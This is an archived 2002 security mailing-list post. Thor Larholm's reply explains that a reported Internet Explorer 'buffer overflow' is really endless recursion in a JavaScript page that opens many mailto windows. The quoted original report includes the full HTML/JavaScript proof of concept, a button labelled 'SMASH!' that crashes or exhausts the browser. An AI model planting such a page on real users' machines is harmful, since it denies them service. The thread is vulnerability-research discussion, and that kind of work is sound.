OSEC

Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com
 
From: Thor Larholm (Thorjubii.dk)
Date: Mon Jun 03 2002 - 06:26:33 CDT

  • Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

    The button calls hacerMail() which ends up calling soporte() which in turn
    ends up calling hacerMail() as argument to the close() method. You have
    yourself a nice recursive function without ending, and as a side effect you
    are opening lots of mail messages which also exhausts ressources.

    -----Original Message-----
    From: Matias Sedalo [mailto:s0t4ipv6shellcode.com.ar]
    Sent: 2. juni 2002 23:08
    To: vuln-devsecurityfocus.com
    Subject: Buffer Overflow with all versions of Internet Explorer and
    Javacript.

    the 28/07/1999 I have discovered a stack buffer overflow caused by until
    the moment all the versions of the Internet Explorer.
    In many windows98 causes the necessity to reinitiate the equipment, since
    to my to seem it remains without memory.
    Only it has been proven in several versions 5 of IE on WindowsNT
    server sp6 and windows98 Second Edition. As I said before the Windows 98
    I had to reinitiate it to the force.
    Can be possible to execute arbitrary code using the variable company of
    the example?

    // internet Explorer 5.00.2314.1003 on WindowsNT 4 sp6
    // internet Explorer 5.00.3500.1003 on Windows98se

    -----------cut here---------------------------
    <html><head></head>
    <script language="JAVASCRIPT">
    function hacerMail() {
      var company;

      crear();
      address="s0t4ipv6shellcode.com.ar";
      soporte();
    }
    function soporte(){
      var soporte="billmocosoft.com";
      window.location="mailto:"+address+"?cc="+soporte+"&subject="+company;
    // window.location=company; // also this line cause the bof.
      close(hacerMail());
    }
    function crear(){
    company="shellcode here?\n"; // i don't think so.
    }
    </script>
      <input type="button" onClick="hacerMail();" value="SMASH!"></input>
    </html>
    -----------cut here---------------------------

    Regards.

    - Internet es perjudicial para la salud -
    - Ley N~ 127.0.0.1

    Matias Sedalo
    http://www.shellcode.com.ar

    s0t4ipv6shellcode.com.ar
    B7A1 B45E 4906 34BD 70A1 55F8 E5A0 BCA2
    ........................................